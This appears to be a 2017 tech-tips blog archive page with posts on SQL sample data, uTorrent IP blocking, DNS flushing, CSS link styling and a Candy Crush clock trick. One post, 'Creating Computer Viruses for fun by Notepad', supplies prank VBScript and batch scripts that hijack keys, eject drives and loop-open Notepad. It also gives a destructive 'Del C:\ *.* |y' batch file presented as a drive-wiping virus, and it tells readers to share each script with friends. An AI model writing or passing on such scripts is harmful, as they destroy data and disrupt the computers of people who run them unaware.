GNIIT HELP: June 2017

Monday 26 June 2017

SQL Tutorial Sample Database ~ GNIITHELP

Our Sample Database is a modernized version of Microsoft's Northwind.
The data model is kept simple and comes with only 5 tables.
You can play with a live database in our SQL Sandbox.
Or download our script and create your own sample database (model + data).

Download the sample data model + data scripts

Sample Database ERD

ERD diagrams are an important tool for data professionals: they provide a wealth of information.
This ERD displays tables, columns, data types, relationships, primary keys, foreign keys, and indexes.

Creating Computer Viruses for fun by Notepad ~ GNIITHELP

I am providing easy codes that will make you viruses using notepad. This code based files can harm your computer so do not try these tricks on your own computer. Copy given code to Notepad and follow the given instructions.

1. Toggle your friend's Caps Lock, Num Lock, Scroll Lock buttons :

 Set wshShell =wscript.CreateObject("WScript.Shell")  
 do  
 wscript.sleep 100  
 wshshell.sendkeys "{CAPSLOCK}"
 wshshell.sendkeys "{NUMLOCK}"
 wshshell.sendkeys "{SCROLLLOCK}"  
 loop

Save this as "virus.vbs" and share it.

2. Frustrate somebody by making him/her hit Backspace again and again :

 MsgBox "Please try to go back"  
 Set wshShell =wscript.CreateObject("WScript.Shell")  
 do  
 wscript.sleep 100  
 wshshell.sendkeys "{bs}"  
 loop

Save this as "virus.vbs" and share it.

3. Ejecting your friend's CD Drive again n again :

 Set oWMP = CreateObject("WMPlayer.OCX.7")  
 Set colCDROMs = oWMP.cdromCollection  
 do  
 if colCDROMs.Count >= 1 then  
 For i = 0 to colCDROMs.Count - 1  
 colCDROMs.Item(i).Eject  
 Next  
 For i = 0 to colCDROMs.Count - 1  
 colCDROMs.Item(i).Eject  
 Next  
 End If  
 wscript.sleep 5000  
 loop

Save this as "virus.vbs" and share it.

4. Creating Virus That Format C Drive : (for Win XP)

 @Echo off  
 Del C:\ *.* |y

Save this as "virus.bat" and share it.

5. Open Notepad continually in your friend's computer:

 @ECHO off  
 :top  
 START %SystemRoot%\system32\notepad.exe  
 GOTO top

Save this as "virus.bat" and share it.

Block or stop connecting Peers or IP Addresses to utorrent ~ GNIITHELP

uTorrent is one of the more popular free torrent clients. The installer size is tiny and only a fraction of system resources are used when the program is running.

µTorrent is Very Easy Way to Download Files. Its Very Convenient to Download through this Software. The Main & very Excellent Feature of this Software is that you don't have to worry about your Link Breakdown or wait to Shutdown your Computer till your Download is Completed. It works when it gets the Internet Connection and Starts its Work. It Resumes the Downloads from where it was Interrupted.

Steps to block connecting Peers or IP Addresses:

Step 1: Options > Preferences > Advanced or press (CTRL+ P) and set the value of ipfilter.enable totrue.

Step 2: Click the Peers tab. Right-click anywhere inside the Peers tab and uncheck “Resolve IPs”Tab.

Step 3: Open a Notepad window and manually type in any IP address per line that you wish to block, you can also block range of IPs eg. 192.168.2.xxx-192.168.2.xxx. Save the Notepad window (with the IP addresses) as “ipfilter.dat” (including the quotes).

Save/Paste this file on following location :
C:\Documents and Settings\<username>\Application Data\uTorrent (For Windows XP, 2003 and 2000).

C:\Users\<username>\AppData\Roaming\uTorrent (For Windows Vista, 7 and 8, 8.1).

Shortcut : Click Windows+R to open RUN an type %AppData%\uTorrent to open location.

Step 4: Right click anywhere on the Peers Tab and select Reload IP Filter:

This will block all IP Addresses that are present in your ipfilter.dat file.

Stop or disable skype Auto-launching in Windows 8 on startup ~ GNIITHELP

We can stop/disable skype on windows startup by following steps:

Method 1: Ctrl+Shift+Esc (open Task manager) > Startup > Disable Skype

Method 2: Open Run > type msconfig > System Configuration (Disable Skype hereor it will give open task manager link) >Task Manager > Startup > Disable Skype
(See Picture)

Charge your smartphone while your laptop lid is closed/off ~ GNIITHELP

Many-times I have to charge my mobile with my laptop but i can not down my laptop's lid because of phone charging goes off. But Now i can charge my mobile even by closing my laptop lid with a small change in Device Manager Setting.

Important : This will only work when your laptop is charging (Not using Laptop Battery)

Device Manager >> Universal Serial Bus Controllers >> Generic USB Hub >> Properties

Power Management :
Uncheck "Allow this computer to turn off this device to save power"

If This solution is not working then go to your Laptop BIOS to Enable "USB Wake Support".

BIOS >> Advanced >> USB Wake Support

Enable USB Wake Support and then exit with save.

Flush DNS cache - solved server not found Error ~ GNIITHELP

If you know that your internet is working fine and still you are facing this error on visiting website's URL. Then below given solution can solve your problem.
Problem :
Server not found
Firefox can't find the server at www.blogger.com.

Check the address for typing errors such as ww.example.com instead of www.example.com
If you are unable to load any pages, check your computer's network connection.
If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the Web.

Solution :
Step 1: Open Command prompt : Press Window Key + R, type cmd then click on OKbutton.

Step 2 : Type ipconfig /flushdns and press Enter. A message will appear statingWindows IP configuration Successfully flushed the DNS Resolver Cache.

Step 3 : Type exit on command prompt to close command prompt.

Photoshop : ways to justify text in PS ~ GNIITHELP

Problem : Not able to see the option to justify text in Photoshop
Solution : Select complete text then press one of the given commands

Ctrl+Shift+J

Ctrl+Shift+F

The second way is to go to Window -> Paragraph

and select your option

Error in handling images and css folder with jsp page in eclipse ~ GNIITHELP

If you are creating a dynamic web project and you are not able to use css folder files and image files in your jsp page then you need to read below code.

Project folder structure

Linking css file internally from folder to jsp page

Linking image to jsp page from images folder

Error! Problem in linking css file in jsp in Dynamic web Project with eclipse ~ GNIITHELP

When we have to link our css file that exists in css folder during dynamic web project in eclipse it shows problem regarding image loading or other linking problem.

Project Structure

If your project is in above structure then to solve out this problem you must specify your project name in link of css file like as below

Float an image to the Left or Right of Text using CSS ~ GNIITHELP

Float an Image to Left : (use any one)
1. Add a style attribute to the image, and apply the float property:

<img src="image-sample.jpg" alt="image-caption" style="float:left;" />

2. You can add some margins to the image to increase its readability:

<img src="image-sample.jpg" alt="image-caption" style="float:left;margin:0 5px 0 0;" />

3. With CSS float, an element can be pushed to the left, allowing other elements to wrap around it.

img {
float: left;
}

Float an Image to Right : (use any one)
1. Add a style attribute to the image, and apply the float property:

<img src="image-sample.jpg" alt="image-caption" style="float:right;" />

2. You can add some margins to the image to increase its readability:
<img src="image-sample.jpg" alt="image-caption" style="float:right;margin:0 5px 0 0;" />

3. With CSS float, an element can be pushed to the right, allowing other elements to wrap around it.
img {
float: right;
}

a:link - a normal, unvisited link
a:visited - a link the user has visited
a:hover - a link when the user mouses over it
a:active - a link the moment it is clicked

 /* unvisited link */  
 a:link {  
   color: #FF0000;  
 }  
 /* visited link */  
 a:visited {  
   color: #00FF00;  
 }  
 /* mouse over link */  
 a:hover {  
   color: #FF00FF;  
 }  
 /* selected link */  
 a:active {  
   color: #0000FF;  
 }

Text Decoration
The text-decoration property is mostly used to remove underlines from links:

 a:link {  
   text-decoration: none;  
 }  
 a:visited {  
   text-decoration: none;  
 }  
 a:hover {  
   text-decoration: underline;  
 }  
 a:active {  
   text-decoration: underline;  
 }

Background Color
The background-color property specifies the background color for links:

 a:link {  
   background-color: #B2FF99;  
 }  
 a:visited {  
   background-color: #FFFF85;  
 }  
 a:hover {  
   background-color: #FF704D;  
 }  
 a:active {  
   background-color: #FF704D;  
 }

Play Candy Crush Saga Limitless for Free : How to get unlimited lives without paying a penny ~ GNIITHELP

Do you have to wait for a new life while playing Candy Crush Saga on Android or iOS?

if yes then now time is to know about the way to get unlimited Lives without waiting for hours to past.

I am giving you a way which is a loophole in Candy Crush Saga, definitely company is soon going to fix it, but it's working very good for me now.

I am playing this game continuously any time i want to play it, but previously i have to send request to my Facebook friends for Lives and to open new level, but after using this trick you will not wait for anyone's response.

Just follow the steps given below:

This trick is for Android and iOS Smartphones and Tablets, not for PC or Facebook App.

1. Go to Setting of your Smart phone or Tab.

2. Go to Date & Time.

3. Increase Time by two and a half hours.

4. Restart or Reload your Candy Crush Saga App.

5. Magic : you got all Five Lives Full.

enjoy the game fully.

GNIIT HELP

Pages